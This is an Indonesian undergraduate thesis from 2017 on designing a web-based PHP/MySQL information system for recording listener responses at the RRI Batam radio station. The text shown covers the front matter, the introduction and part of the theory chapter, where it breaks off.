perancangan sistem informasi data respon …library.stmikgici.ac.id/skripsi/161300109.pdf · sistem...
Post on 23-Feb-2020
36 Views
Preview:
TRANSCRIPT
PERANCANGAN SISTEM INFORMASI DATA RESPON PENDENGAR PADA RADIO REPUBLIK INDONESIA
BATAM BERBASIS WEB
SKRIPSI
Oleh: Tammy Dara Putri
161300109
PROGRAM STUDI SISTEM INFORMASI SEKOLAH TINGGI MANAJAMEN INFORMATIKA DAN
KOMPUTER (STMIK) GICI BATAM
2017
PERANCANGAN SISTEM INFORMASI DATA RESPON PENDENGAR PADA RADIO REPUBLIK INDONESIA
BATAM BERBASIS WEB
SKRIPSI
Diajukan Untuk Memenuhi Salah Satu Syarat Memperoleh Gelar Sarjana
Oleh: Tammy Dara Putri
161300109
PROGRAM STUDI SISTEM INFORMASI SEKOLAH TINGGI MANAJAMEN INFORMATIKA DAN
KOMPUTER (STMIK) GICI BATAM
2017
vii
ABSTRAK
Tammy Dara Putri, “PERANCANGAN SISTEM INFORMASI DATA RESPON PENDENGAR PADA RADIO REPUBLIK INDONESIA BATAM BERBASIS WEB”
Data respon pendengar merupakan laporan akhir mengenai tanggapan, penilaian, dan kritik dari pendengar terhadap performa penyiar dan kualiatas program-program acara yang disuguhkan oleh Radio Republik Indonesia. Sistem yang digunakan untuk pengumpulan data-data tersebut serta memprosesnya menjadi satu kesatuan laporan akhir dengan menggunakan Sistem Informasi Data Respon Pendengar. Sistem Informasi Data Respon Pendengar yang saat ini diterapkan memiliki beberapa kelemahan antara lain proses penginputan Data Respon Pendengar masih melalui sistem penginputan konvensional sehingga proses tersebut memakan waktu yang lama. Selain itu data-data yang terkumpul tidak terintegrasi dengan baik serta tampilan laporan akhir yang kurang menarik sehingga sulit untuk melakukan evaluasi secara mendalam. Melalui rancangan Sistem Informasi Data Respon Pendengar berbasis web yang ditawarkan, proses penginputan data akan memakan waktu yang lebih singkat karena dapat diakses dimanapun dan kapanpun, data-data yang terkumpul akan terintegrasi dengan baik sesuai kelompoknya, serta menampilkan laporan akhir yang lebih menarik dan mudah untuk di evaluasi. Penelitian ini menggunakan metode waterfall, dan untuk software pengkodean computer menggunakan web server Apache, Control Panel Xampp, Adobe Dream Weaver CC yang berbasis PHP serta MySQL untuk pemograman basis data.
Kata Kunci : Sistem Informasi, Data Respon Pendengar, PHP, MySQL, Web,
XAMPP
viii
ABSTRACT
Tammy Dara Putri, “WEB BASED INFORMATION SYSTEM DESIGN FOR AUDIENCE DATA RESPOND AT RADIO REPUBLI INDONESIA BATAM”
The audience data response is the final report consist of comments, rating and critics from audience any may more regarding the performance presenter/brodcaster and the programs presented by Radio Republic Indonesia. The system that used for gathered the data also to processed it into a final report are through the Audience Data Response Information System. The Audience Data Response Information System that still used until now have some weakness like the process of inputting data is still through conventional input system. The input process resulted in the process of inputting the data takes a long time. The data collected is not well integrated, and the display of the final report is less attractive so it is difficult to conduct an in-depth evaluation. Through by propouse designing Web-Based Audience Data Response System, the process of inputting data will take a shorter time because it can be accessed wherever and whenever. And the collected data will be integrated well according to the group, as for the outward final report is more attractive and easy for evaluation. This research uses waterfall method, Apache web server, XAMPP Control Panel, Adobe Dream Weaver CC based on PHP for the computer coding software and MySQL for database programming
Keywords :Information System, Audience Data Response, PHP, MySQL,
Web, XAMPP
ix
DAFTAR ISI
Judul .............................................................................................................. Halaman
HALAMAN JUDUL .................................................................................................... i
HALAMAN PERSETUJUAN ................................................................................... ii
HALAMAN PENGESAHAN .................................................................................... iii
HALAMAN PERNYATAAN .................................................................................... iv
KATA PENGANTAR ................................................................................................ vi
ABSTRAK ..................................................................... Error! Bookmark not defined.
ABSTRACT ................................................................... Error! Bookmark not defined.
DAFTAR ISI ............................................................................................................... ix
DAFTAR TABEL ..................................................................................................... xv
DAFTAR GAMBAR ................................................................................................ xvi
BAB I PENDAHULUAN .................................... Error! Bookmark not defined.
1.1 Latar Belakang......................... Error! Bookmark not defined.
1.2 Rumusan Masalah ................... Error! Bookmark not defined.
1.3 Batasan Masalah ...................... Error! Bookmark not defined.
1.4 Tujuan Penelitian ..................... Error! Bookmark not defined.
1.5 Manfaat Penelitian ................ Error! Bookmark not defined.
1.6 Sistematika Penulisan .............. Error! Bookmark not defined.
BAB II LANDASAN TEORI ............................... Error! Bookmark not defined.
2.1 Teori Pendukung ..................... Error! Bookmark not defined.
2.1.1 Pengertian Sistem .............. Error! Bookmark not defined.
2.1.1.1 Elemen Sistem .................. Error! Bookmark not defined.
2.1.1.2 Karakteristik Sistem .......... Error! Bookmark not defined.
x
2.1.1.3 Klasifikasi Sistem ............. Error! Bookmark not defined.
2.1.2 Pengertian Informasi ......... Error! Bookmark not defined.
2.1.2.1 Pengertian Kualitas Informasi ......... Error! Bookmark not
defined.
2.1.2.2 Pengertian Nilai Informasi Error! Bookmark not defined.
2.1.3 Pengertian Sistem Informasi ........... Error! Bookmark not
defined.
2.1.3.1 Komponen Sistem Informasi .......... Error! Bookmark not
defined.
2.1.3.2 Kualitas Sistem Informasi . Error! Bookmark not defined.
2.1.4 Pengertian Radio ............... Error! Bookmark not defined.
2.1.5 Pengertian Pendengar ........ Error! Bookmark not defined.
2.1.5.1 Pengertian Respon Pendengar ......... Error! Bookmark not
defined.
2.1.6 Pengertian Data ................. Error! Bookmark not defined.
2.1.6.1 Pengertian Pengolahan Data ........... Error! Bookmark not
defined.
2.1.6.2 Tahap Pengolahan Data .... Error! Bookmark not defined.
2.1.7 Pengertian Basis Data (Database) .. Error! Bookmark not
defined.
2.1.7.1 Tujuan Basis Data (Database) ........ Error! Bookmark not
defined.
2.1.7.2 Kelebihan Basis Data (Database) ... Error! Bookmark not
defined.
2.1.8 Perancangan Basis Data (Database) Error! Bookmark not
defined.
2.1.8.1 Normalisasi ....................... Error! Bookmark not defined.
2.1.8.2 Tabel Relasi ...................... Error! Bookmark not defined.
xi
2.1.9 Perangkat Pemodelan ........ Error! Bookmark not defined.
2.1.9.1 Diagram Alir (Flowchart) . Error! Bookmark not defined.
2.1.9.2 Diagram Arus Data (Data Flow Diagram) ................ Error!
Bookmark not defined.
2.1.9.3 Entity Relation Diagram (ERD) ...... Error! Bookmark not
defined.
2.1.10 Pengertian Internet ............ Error! Bookmark not defined.
2.1.11 Pengertian Website ............ Error! Bookmark not defined.
2.1.12 Pengertian HTML .............. Error! Bookmark not defined.
2.1.13 Pengertian PHP (Personal Home Page/Hypertext
Preprocessing) .............................. Error! Bookmark not defined.
2.1.13.1Sejarah PHP (Personal Home Page/Hypertext
Preprocessing) .............................. Error! Bookmark not defined.
2.1.14 Pengertian JQuery ............. Error! Bookmark not defined.
2.1.15 CSS (Cascading Style Sheet) ........... Error! Bookmark not
defined.
2.1.16 Pengertian Bootstrap ......... Error! Bookmark not defined.
2.1.17 Pengertian MySQL ............ Error! Bookmark not defined.
2.1.18 Pengertian Apache ............ Error! Bookmark not defined.
2.1.19 Pengertian PHP MyAdmin Error! Bookmark not defined.
2.1.20 Pengertian Adobe Dreamweaver CC 2017 ............... Error!
Bookmark not defined.
2.1.21 Pengertian XAMPP ........... Error! Bookmark not defined.
2.1.22 Pengertian Black Box Testing ......... Error! Bookmark not
defined.
2.2 Penelitian Terdahulu ................ Error! Bookmark not defined.
BAB III METODOLOGI PENELITIAN ............ Error! Bookmark not defined.
xii
3.1 Kerangka Kerja ........................ Error! Bookmark not defined.
3.1.1 Susunan Kerangka Kerja ... Error! Bookmark not defined.
3.1.2 Lokasi dan Waktu Penelitian .......... Error! Bookmark not
defined.
3.1.3 Metode Pengumpulan Data ............. Error! Bookmark not
defined.
3.1.4 Metode Pengembangan Sistem ....... Error! Bookmark not
defined.
3.2 Gambaran Umum Perusahaan . Error! Bookmark not defined.
3.2.1 Sejarah Singkat ................. Error! Bookmark not defined.
3.2.2 Ruang Lingkup Usaha ....... Error! Bookmark not defined.
3.2.3 Visi dan Misi ..................... Error! Bookmark not defined.
3.2.3.1 Visi ............................. Error! Bookmark not defined.
3.2.3.2 Misi ............................. Error! Bookmark not defined.
3.2.4 Struktur Organisasi ........... Error! Bookmark not defined.
3.2.5 Deskripsi Pekerjaan (Job Description) .. Error! Bookmark
not defined.
BAB IV ANALISIS DAN IMPLEMENTASI ...... Error! Bookmark not defined.
4.1 Analisis Sistem Yang Sedang Berjalan . Error! Bookmark not
defined.
4.2 Analisis Sistem Informasi Yang Diusulkan . Error! Bookmark
not defined.
4.2.1 Rancangan Data Flow Diagram (DFD) . Error! Bookmark
not defined.
4.2.1.1 Diagram Konteks Sistem Informasi Data Respon
Pendengar Pada RRI BATAM .. Error! Bookmark not defined.
4.2.1.2 (DFD) Level 0 Sistem Informasi Data Respon
Pendengar Pada RRI BATAM .. Error! Bookmark not defined.
xiii
4.2.2 Rancangan Flowchart Program ...... Error! Bookmark not
defined.
4.2.3 Entity Relationship Diagram (E-RD) Sistem Informasi
Data Respon Pendengar Pada RRI BATAM ..... Error! Bookmark
not defined.
4.2.4 Normalisasi ....................... Error! Bookmark not defined.
4.2.5 Rancangan Basis Data ....... Error! Bookmark not defined.
4.2.6 Rancangan Relasi Basis Data .......... Error! Bookmark not
defined.
4.2.7 Perancangan Prototype/Tampilan ... Error! Bookmark not
defined.
4.2.7.1 Rancangan Homepage Web...... Error! Bookmark not
defined.
4.2.7.2 Rancangan Login ........ Error! Bookmark not defined.
4.2.7.3 Rancangan Menu Daftar Acara Error! Bookmark not
defined.
4.2.7.4 Rancangan Menu Detail Acara . Error! Bookmark not
defined.
4.2.7.5 Rancangan Menu Data Pendengar ... Error! Bookmark
not defined.
4.2.7.6 Rancangan Menu Data Penyiar Error! Bookmark not
defined.
4.2.7.7 Rancangan Menu Respon Pendengar ................. Error!
Bookmark not defined.
4.2.7.8 Rancangan Menu Tambah Data (Daftar Acara) . Error!
Bookmark not defined.
4.2.7.9 Rancangan Menu Tambah Data (Detail Acara) . Error!
Bookmark not defined.
xiv
4.2.7.10 Rancangan Menu Tambah Data
(Interaksi Pendengar) .............................................................. 94
4.2.7.11 Rancangan Menu Tambah Data (Data Pendengar)
Error! Bookmark not defined.
4.2.7.12 Rancangan Menu Tambah Data (Data Penyiar) . Error!
Bookmark not defined.
4.2.7.13 Rancangan Menu Edit Data (Daftar Acara) ....... Error!
Bookmark not defined.
4.2.7.14 Rancangan Menu Edit Data (Detail Acara) ........ Error!
Bookmark not defined.
4.2.7.15 Rancangan Menu Edit Data (Data Pendengar) ... Error!
Bookmark not defined.
4.2.7.16 Rancangan Menu Edit Data (Data Penyiar) ....... Error!
Bookmark not defined.
4.2.7.17 Rancangan PDF Daftar Acara .. Error! Bookmark not
defined.
4.2.7.18 Rancangan PDF Detail Acara .. Error! Bookmark not
defined.
4.2.7.19 Rancangan PDF Data Pendengar .... Error! Bookmark
not defined.
4.2.7.20 Rancangan PDF Data Penyiar .. Error! Bookmark not
defined.
4.2.7.21 Rancangan Pop Up Detail Acara ..... Error! Bookmark
not defined.
4.3 Implementasi ........................... Error! Bookmark not defined.
4.3.1 Homepage Web ................. Error! Bookmark not defined.
4.3.2 Rancangan Login .............. Error! Bookmark not defined.
4.3.3 Menu Dashboard ............... Error! Bookmark not defined.
xv
4.3.4 Menu Daftar Acara............ Error! Bookmark not defined.
4.3.5 Menu Detail Acara ............ Error! Bookmark not defined.
4.3.6 Menu Data Pendengar ....... Error! Bookmark not defined.
4.3.7 Menu Data Penyiar ........... Error! Bookmark not defined.
4.3.8 Menu Respon Pendengar .. Error! Bookmark not defined.
4.3.9 Menu Tambah Data (Daftar Acara) Error! Bookmark not
defined.
4.3.10 Menu Tambah Data (Detail Acara) . Error! Bookmark not
defined.
4.3.11 Menu Tambah Data (Interaksi Pendengar) ............... Error!
Bookmark not defined.
4.3.12 Menu Tambah Data (Data Pendengar)... Error! Bookmark
not defined.
4.3.13 Menu Tambah Data (Data Penyiar) Error! Bookmark not
defined.
4.3.14 Menu Edit Data (Daftar Acara) ....... Error! Bookmark not
defined.
4.3.15 Menu Edit Data (Detail Acara) ....... Error! Bookmark not
defined.
4.3.16 Menu Edit Data (Data Penyiar) ....... Error! Bookmark not
defined.
4.3.17 PDF Daftar Acara ............. Error! Bookmark not defined.
4.3.18 PDF Detail Acara.............. Error! Bookmark not defined.
4.3.19 PDF Data Pendengar ........ Error! Bookmark not defined.
4.3.20 PDF Data Penyiar ............. Error! Bookmark not defined.
4.3.21 Pop Up Detail Acara ......... Error! Bookmark not defined.
4.3.1 Pengujian Black Box Testing .......... Error! Bookmark not
defined.
xvi
BAB V PENUTUP ................................................. Error! Bookmark not defined.
5.1 Kesimpulan .............................. Error! Bookmark not defined.
5.2 Saran ........................................ Error! Bookmark not defined.
DAFTAR PUSTAKA .............................................................................................. 120
LAMPIRAN-LAMPIRAN ........................................... Error! Bookmark not defined.
xvii
DAFTAR TABEL
Tabel 2.1 Simbol Flowchart ....................................... Error! Bookmark not defined. Tabel 4.1 Normalisasi ke 1 (1 NF) .............................. Error! Bookmark not defined.
Tabel 4.2 Normalisasi ke 2 (2 NF) .............................. Error! Bookmark not defined.
Tabel 4.3 Pengujian Black Box Testing..................................................................... 144
xvi
DAFTAR GAMBAR
Gambar 2.1 Simbol Entitas Luar Pada Data Flow DiagramError! Bookmark not defined. Gambar 2.2 Simbol Entitas Proses Pada Data Flow DiagramError! Bookmark not defined.
Gambar 2.3 Simbol Berkas Atau Penyimpanan Pada DFDError! Bookmark not defined.
Gambar 2.4 Simbol Aliran Data Pada Data Flow DiagramError! Bookmark not defined.
Gambar 2.5 Simbol Entitas (ERD) .............................. Error! Bookmark not defined.
Gambar 2.6 Simbol Relationship ................................ Error! Bookmark not defined. Gambar 2.7 Simbol Atribut ......................................... Error! Bookmark not defined.
Gambar 3.1 Kerangka Kerja Penelitian ...................... Error! Bookmark not defined.
Gambar 3.2 Pengembangan Software model WaterfallError! Bookmark not defined.
Gambar 3.3 Struktur Organisasi RRI Batam............... Error! Bookmark not defined. Gambar 4.1 Flowchart Data Respon Pendengar Yang BerjalanError! Bookmark not defined.
Gambar 4.2 Alur Sistem Informasi Data Respon Pendengar Yang BerjalanError! Bookmark not de
Gambar 4.3 Flowchart Admin Data Respon Pendengar Yang DiusulkanError! Bookmark not defin
Gambar 4.3 Flowchart Penyiar Data Respon Pendengar Yang DiusulkanError! Bookmark not defi
Gambar 4.2 Alur Sistem Informasi Data Respon Pendengar Yang DiusulkanError! Bookmark not d
Gambar 4.3 Diagram Konteks..................................... Error! Bookmark not defined.
Gambar 4.4 DFD Level 0 Admin ................................ Error! Bookmark not defined.
Gambar 4.5 DFD Level 0 Penyiar............................... Error! Bookmark not defined. Gambar 4.6 Flowchart Program Halaman Awal (Admin)Error! Bookmark not defined.
Gambar 4.7 Flowchart Program Daftar Acara (Admin)Error! Bookmark not defined.
Gambar 4.8 Flowchart Program Detail Acara (Admin)Error! Bookmark not defined.
Gambar 4.9 Flowchart Program Data Pendengar (Admin)Error! Bookmark not defined. Gambar 4.10 Flowchart Program Data Penyiar (Admin)Error! Bookmark not defined.
Gambar 4.11 Flowchart Program Respon Pendengar (Admin)Error! Bookmark not defined.
Gambar 4.12 Flowchart Program Halaman Awal (Penyiar)Error! Bookmark not defined.
Gambar 4.13 Flowchart Program Daftar Acara (Penyiar)Error! Bookmark not defined.
Gambar 4.14 Flowchart Program Detail Acara (Penyiar)Error! Bookmark not defined. Gambar 4.15 Flowchart Program Data Pendengar (Penyiar)Error! Bookmark not defined.
Gambar 4.16 Flowchart Program Respon Pendengar (Penyiar)Error! Bookmark not defined.
Gambar 4.17 Entity Relationship Diagram (E-RD) AdminError! Bookmark not defined.
Gambar 4.18 Entity Relationship Diagram (E-RD) PenyiarError! Bookmark not defined.
xvii
Gambar 4.19 Normalisasi Relasi ................................ Error! Bookmark not defined.
Gambar 4.20 Relasi Basis Data ................................... Error! Bookmark not defined. Gambar 4.21 Homepage Web ..................................... Error! Bookmark not defined.
Gambar 4.22 Login Web ............................................. Error! Bookmark not defined.
Gambar 4.23 Menu Daftar Acara ................................ Error! Bookmark not defined.
Gambar 4.24 Menu Detail Acara ................................ Error! Bookmark not defined. Gambar 4.25 Menu Data Pendengar ........................... Error! Bookmark not defined.
Gambar 4.26 Menu Data Penyiar ................................ Error! Bookmark not defined.
Gambar 4.27 Menu Respon Pendengar ....................... Error! Bookmark not defined.
Gambar 4.28 Menu Tambahan Data (Daftar Acara) ... Error! Bookmark not defined. Gambar 4.29 Menu Tambahan Data (Detail Acara) ... Error! Bookmark not defined.
Gambar 4.30 Menu Tambahan Data (Interaksi Pendengar)Error! Bookmark not defined.
Gambar 4.31 Menu Tambahan Data (Data Pendengar)Error! Bookmark not defined.
Gambar 4.32 Menu Tambahan Data (Data Penyiar) ... Error! Bookmark not defined. Gambar 4.33 Menu Edit Data (Daftar Acara) ............. Error! Bookmark not defined.
Gambar 4.34 Menu Edit Data (Detail Acara) ............. Error! Bookmark not defined.
Gambar 4.35 Menu Edit Data (Data Pendengar) ........ Error! Bookmark not defined.
Gambar 4.36 Menu Edit Data (Data Penyiar) ............. Error! Bookmark not defined. Gambar 4.37 PDF Daftar Acara ................................. Error! Bookmark not defined.
Gambar 4.38 PDF Detail Acara .................................. Error! Bookmark not defined.
Gambar 4.39 PDF Data Pendengar ............................. Error! Bookmark not defined.
Gambar 4.40 PDF Data Penyiar ................................. Error! Bookmark not defined. Gambar 4.41 Pop Up Detail Acara ............................. Error! Bookmark not defined.
Gambar 4.42 Homeplage Web .................................... Error! Bookmark not defined.
Gambar 4.43 Rancangan Login................................... Error! Bookmark not defined.
Gambar 4.44 Menu Dashboard ................................... Error! Bookmark not defined.
Gambar 4.45 Menu Daftar Acara ................................ Error! Bookmark not defined. Gambar 4.46 Menu Detail Acara ................................ Error! Bookmark not defined.
Gambar 4.47 Menu Data Pendengar ........................... Error! Bookmark not defined.
Gambar 4.48 Menu Data Penyiar ................................ Error! Bookmark not defined.
Gambar 4.49 Menu Respon Pendengar ....................... Error! Bookmark not defined. Gambar 4.50 Menu Tembahan Data (Daftar Acara) ... Error! Bookmark not defined.
Gambar 4.51 Menu Tembahan Data (Detail Acara) ... Error! Bookmark not defined.
Gambar 4.52 Menu Tembahan Data (Interaksi Pendengar)Error! Bookmark not defined.
xviii
Gambar 4.53 Menu Tembahan Data (Data Pendengar)Error! Bookmark not defined.
Gambar 4.54 Menu Tembahan Data (Data Penyiar) ... Error! Bookmark not defined. Gambar 4.55 Menu Edit (Daftar Acara) ..................... Error! Bookmark not defined.
Gambar 4.56 Menu Edit (Detail Acara) ...................... Error! Bookmark not defined.
Gambar 4.57 Menu Edit (Data Penyiar) ..................... Error! Bookmark not defined.
Gambar 4.58 PDF Daftar Acara ................................. Error! Bookmark not defined. Gambar 4.59 PDF Detail Acara .................................. Error! Bookmark not defined.
Gambar 4.60 PDF Data Pendengar ............................. Error! Bookmark not defined.
Gambar 4.61 PDF Data Penyiar ................................. Error! Bookmark not defined.
Gambar 4.62 Pop Up Detail Acara ............................. Error! Bookmark not defined.
1
BAB I PENDAHULUAN
1.1 Latar Belakang
Teknologi yang ada saat ini berkembang dengan begitu pesatnya.
Salah satu teknologi yang sedang berkembang dengan cepat saat ini adalah
teknologi informasi/komputer. Kemajuan yang berlangsung cepat, dapat
ditinjau baik dari segi perangkat keras (hardware), perangkat lunak
(software), maupun perkembangan kualitas sumber daya manusianya
(brainware) yang memadai dan berkualitas. Hal ini dimungkinkan karena
teknologi komputer mampu berkolaborasi dengan banyak bidang ilmu
lainnya.
Berbagai informasi dan pengelolaan manajemen perusahaan saat
ini sangat mendukung untuk bisa dikembangkan menjadi sistem yang
mengandalkan kemajuan teknologi. Salah satu diantaranya adalah bidang
teknologi informasi dan pengolahan data. Saat ini suatu bentuk informasi
dan data bisa dibuat sesuai dengan apa yang di inginkan, dan banyak
peluang yang bisa dimanfaatkan untuk mengembangkannya. Dan juga
penggunaan teknologi informasi dapat meningkatkan kinerja dan
memungkinkan berbagai kegiatan dapat dilaksanakan dengan cepat, tepat
dan akurat, sehingga akhirnya akan meningkatkan produktifitas.
Sistem pengolahan data akan menjadi tolak ukur untuk
menciptakan output yang berkualitas dan mampu bersaing dengan
perusahaan lain dalam hal ini penulis membahas mengenai sistem
2
pengolahan data respon pendengar pada lembaga penyiaran publik Radio
Republik Indonesia Batam yang selanjutnya akan ditulis RRI BATAM.
Pengolahan data respon pendengar masih dilakukan dengan input data
pencatatan.
Sistem data respon pendengar pada RRI BATAM saat ini masih
dalam cara konvensional dengan mencatat pada buku data respon
pendengar yang kemudian direkap hasilnya secara manual. Kemudian juga
untuk laporan hasil data respon pendengar membutuhkan waktu yang lama
dan tidak terkerorganisir dengan baik. Hal ini menyebabkan data respon
pendengar RRI BATAM dinilai kurang efektif dan efisien.
Salah satu solusinya adalah Sistem Informasi Berbasis Web yang
menggunakan teknologi pendukung berupa PHP dan basis data MySQL
sehingga memberi kemudahan bagi admin dalam hal ini staf penyiaran
untuk mengakses melalui piranti apapun selama terkoneksi dengan
jaringan internet. Hal ini dilakukan untuk membangun sistem yang
membantu dalam pengolahan serta penyajian informasi data respon
pendengar. Dengan tujuan agar pengolahan data tersebut dapat diolah
secara efektif dan efisien, sehingga bisa langsung di akses serta informasi
dapat tersampaikan dengan baik. menggunakan program yang sudah
terintegrasi dengan database.
Berdasarkan uraian diatas penulis tertarik untuk menyusun karya
ilmiah ini dengan judul “Perancangan Sistem Informasi Data Respon
Pendengar Pada Radio Republik Indonesia Batam berbasis Web”
3
1.2 Rumusan Masalah
Berdasarkan latar belakang masalah yang telah diuraikan tersebut,
maka rumusan masalah yang akan dibahas adalah :
1. Bagaimana cara mengatasi data respon pendengar pada RRI
BATAM yang belum terkomputerisasi?
2. Bagaimana cara mengolah data respon pendengar pada RRI
BATAM berbasis web?
3. Bagaimana cara membuat laporan data respon pendengar pada RRI
BATAM berbasis web?
1.3 Batasan Masalah
Penyusunan penelitian ini, penulis merasa sangat perlu untuk
membatasi masalah agar tidak menyimpang dari tujuan semula. Untuk
menghindari kerancuan dan pelebaran masalah, penulis membatasi pokok
permasalahan, antara lain :
1. Sistem informasi ini hanya menangani pengolahan data, respon dan
persentase pendengar terhadap program acara yang berjalan pada
RRI BATAM.
2. Sistem informasi yang dibahas pada penelitian ini adalah
Database, MySQL, PHP, Apache, PhpMyadmin, dan Adobe Dream
Weaver CC 2017.
4
1.4 Tujuan Penelitian
Adapun tujuan yang ingin dicapai dari penelitian ini adalah sebagai
berikut :
1. Merancang sistem informasi data respon pendengar berbasis web
sehingga memudahkan proses penginputan data oleh staf penyiaran
dalam merancang laporan bulanan.
2. Merancang sistem informasi data respon pendengar berbasis web
yang dapat mengolah respon, pencarian, meng-update, menyimpan,
me-rekap data pendengar dan laporan data respon pendengar yang
dapat diakses dengan mudah dan efektif.
3. Merancang sistem informasi data respon pendengar berbasis web,
yang menghasilkan laporan akhir yang lebih menarik.
1.5 Manfaat Penelitian
1. Menyajikan informasi data respon pendengar, yang akurat, dan
relevan.
2. Dapat menghemat waktu bagi staf penyiaran untuk merekap data
respon pendengar disetiap program yang dibawakan, dan
memudahkan staf penyiaran dalam menyiapkan laporan bulanan.
3. Laporan data respon pendengar dapat dengan mudah diperoleh
tepat waktu
1.6 Sistematika Penulisan
Untuk mempermudah melihat dan mengetahui pembahasan yang
ada pada penelitian ini secara menyeluruh, maka perlu dikemukakan
5
sistematika yang merupakan kerangka dan pedoman penulisan karya
ilmiah ini. Adapun sistematika penulisannya adalah sebagai berikut :
BAB I : PENDAHULUAN
Dalam bab ini meliputi latar belakang masalah, rumusan masalah,
batasan masalah, tujuan penelitian, manfaat penelitian, dan sistematika
penulisan.
BAB II : LANDASAN TEORI
Pada bab ini diuraikan teori pendukung diantaranya Database,
MySQL, PHP, Apache, PhpMyadmin, dan Adobe Dream Weaver, yang
digunakan untuk membuat sistem informasi data respon pendengar
berbasis web.
BAB III : METODOLOGI PENELITIAN
Dalam bab ini menguraikan tentang jenis penelitian yang
dilakukan, sumber data yang digunakan, bagaimana teknik pengumpulam
data yang dilakukan, serta analisa semua permasalahan yang ada.
BAB IV : ANALISIS DAN IMPLEMENTASI
Dalam bab ini dijelaskan dan diuraikan tentang pembuatan serta
perancangan sistem yang merupakan inti dari permasalahan karya ilmiah
ini serta menyajikan tahap-tahap implementasi sistem, pengertian
implementasi, tujuan implementasi sistem, dan komponen utama dalam
implementasi sistem.
6
BAB V : PENUTUP
Bab ini berisi kesimpulan dan saran dari seluruh penelitian yang
telah dilakukan.
DAFTAR PUSTAKA
LAMPIRAN
7
BAB II LANDASAN TEORI
2.1 Teori Pendukung
2.1.1 Pengertian Sistem
Menurut (Jogiyanto, 2005) Sistem adalah kumpulan dari elemen-
elemen yang berinteraksi untuk mencapai suatu tujuan tertentu.
Menurut (Kadir, 2003)Sistem adalah sekumpulan elemen yang
saling terkait atau terpadu yang dimaksudkan untuk mencapai suatu
tujuan.
Dari definisi sistem diatas maka penyusun menyimpulkan bahwa
sistem merupakan suatu jaringan kerja dari prosedur-prosedur yang saling
berhubungan, berkumpul bersama-sama untuk melakukan suatu kegiatan
atau menyelesaikan suatu sasaran tertentu. Arti yang lain adalah kumpulan
dari elemen-elemen yang berinteraksi untuk mencapai tujuan tertentu.
2.1.1.1 Elemen Sistem
Ada beberapa elemen yang membentuk sebuah sistem, yaitu :
tujuan, masukan, proses, keluaran, batas, mekanisme pengendalian dan
umpan balik serta lingkungan. Berikut penjelasan mengenai elemen -
elemen yang membentuk sebuah sistem :
1. Tujuan
Setiap sistem memiliki tujuan (goal), baik hanya satu atau
lebih. Tujuan inilah yang menjadi pemotivasi yang mengarahkan
8
sistem. Tanpa tujuan, sistem menjadi tak terarah dan tak terkendali.
Tentu saja, tujuan antara satu sistem dengan sistem yang lain
berbeda.
2. Masukan
Masukan (input) sistem adalah segala sesuatu yang masuk ke
dalam sistem dan selanjutnya menjadi bahan yang diproses.
Masukan dapat berupa hal-hal yang berwujud (tampak secara fisik)
maupun yang tidak tampak. Contoh masukan yang berwujud
adalah bahan mentah, sedangkan contoh yang tidak berwujud
adalah informasi (misalnya permintaan jasa pelanggan).
3. Proses
Proses merupakan bagian yang melakukan perubahan atau
transformasi dari masukan menjadi keluaran yang berguna dan
lebih bernilai, misalnya berupa informasi dan produk, tetapi juga
bisa berupa hal-hal yang tidak berguna, misalnya saja sisa
pembuangan atau limbah.
4. Keluaran
Keluaran (output) merupakan hasil dari pemrosesan. Pada
sistem informasi, keluaran bisa berupa suatu informasi, saran,
cetakan laporan, dan sebagainya.
5. Batas
Yang disebut batas (boundary) sistem adalah pemisah antara
sistem dan daerah di luar sistem (lingkungan). Batas sistem
menentukan konfigurasi, ruang lingkup, atau kemampuan sistem.
9
Tentu saja batas sebuah sistem dapat dikurangi atau dimodifikasi
sehingga akan mengubah perilaku sistem.
6. Mekanisme Pengendalian dan Umpan Balik
Mekanisme pengendalian (control mechanism) diwujudkan
dengan menggunakan umpan balik (feedback), yang mencuplik
keluaran. Umpan balik ini digunakan untuk mengendalikan baik
masukan maupun proses. Tujuannya adalah untuk mengatur agar
sistem berjalan sesuai dengan tujuan.
7. Lingkungan
Lingkungan adalah segala sesuatu yang berada diluar sistem.
Lingkungan bisa berpengaruh terhadap operasi sistem dalam arti
bisa merugikan atau menguntungkan sistem itu sendiri.
Lingkungan yang merugikan tentu saja harus ditahan dan
dikendalikan supaya tidak mengganggu kelangsungan operasi
sistem, sedangkan yang menguntungkan tetap harus terus dijaga,
karena akan memacu terhadap kelangsungan hidup sistem.
2.1.1.2 Karakteristik Sistem
1. Memiliki Komponen
Suatu sistem terdiri dari sejumlah komponen yang saling
berinteraksi, bekerja sama membentuk satu kesatuan. Komponen-
komponen sistem dapat berupa suatu subsistem atau bagian-bagian
dari sistem. Setiap sistem tidak perduli betapapun kecilnya, selalu
mengandung komponenkomponen atau subsistem-subsistem.
Setiap subsistem mempunyai sifatsifat dari sistem untuk
10
menjalankan suatu fungsi tertentu dan mempengaruhi proses
sistem secara keseluruhan. Suatu sistem dapat mempunyai suatu
sistem yang lebih besar yang disebut supra sistem.
2. Batas Sistem (Boundary)
Batas sistem merupakan daerah yang membatasi antara suatu
sistem dengan sistem yang lainnya atau dengan lingkungan
luarnya. Batas sistem ini memungkinkan suatu sistem dipandang
sebagai suatu kesatuan. Batas suatu sistem menunjukkan ruang
lingkup (scope) dari sistem tersebut.
3. Lingkungan Luar Sistem (Environment)
Adalah apapun di luar batas dari sistem yang
mempengaruhi operasi sistem. Lingkungan luar sistem dapat
bersifat menguntungkan dan juga dapat merugikan sistem.
Lingkungan luar yang menguntungkan merupakan energi dari
sistem dan demikian harus tetap dijaga dan dipelihara. Sedangkan
yang lingkungan luar sistem yang merugikan harus ditahan dan
dikendalikan kalau tidak akan mengganggu kelangsungan hidup
dari sistem.
4. Penghubung Sistem (Interface)
Merupakan media penghubung antara satu subsistem dengan
subsistem yang lainnya. Melalui penghubung ini memungkinkan
sumber – sumber daya mengalir dari suatu subsistem ke subsistem
yang lainnya.
11
5. Masukan Sistem (Input)
Merupakan energi yang dimasukkan ke dalam sistem.
Masukan dapat berupa masukan perawatan (maintenance input)
dan masukan sinyal (signal input). Maintenance input adalah
energi yang dimasukkan supaya sistem tersebut dapat beroperasi.
Signal input adalah energi yang diproses untuk didapatkan
keluaran.
6. Keluaran Sistem (Output)
Merupakan hasil dari energi yang diolah oleh sistem dan
diklarifikasikan menjadi keluaran yang berguna dan sisa
pembuangan.
7. Pengolah Sistem (Process)
Merupakan bagian yang memproses masukan untuk
menjadi keluaran yang diinginkan.
8. Sasaran Sistem
Jika sistem tidak mempunyai sasaran, maka operasi sistem
tidak akan ada gunanya. Sasaran dari sistem sangat menentukan
sekali masukan yang dibutuhkan sistem dan keluaran yang akan
